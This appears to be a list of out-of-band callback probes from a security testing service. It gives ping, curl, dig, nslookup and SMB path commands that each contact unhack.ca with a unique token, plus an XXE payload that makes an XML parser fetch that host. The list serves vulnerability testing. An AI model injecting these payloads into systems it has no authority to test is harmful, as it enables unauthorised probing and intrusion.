$ ping -c1 -p 004d1b91654fac375452eea1dfc49100 unhack.ca
 

$ curl http://unhack.ca/p/4d1b91654fac375452eea1dfc491
 

$ dig 4d1b91654fac375452eea1dfc491 @unhack.ca
 

$ dig 4d1b91654fac375452eea1dfc491.ns.unhack.ca
 

C:\> nslookup 4d1b91654fac375452eea1dfc491 unhack.ca
 

C:\> type \\unhack.ca\4d1b91654fac375452eea1dfc491\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/4d1b91654fac375452eea1dfc491">]>
    <foo>&xxe;</foo>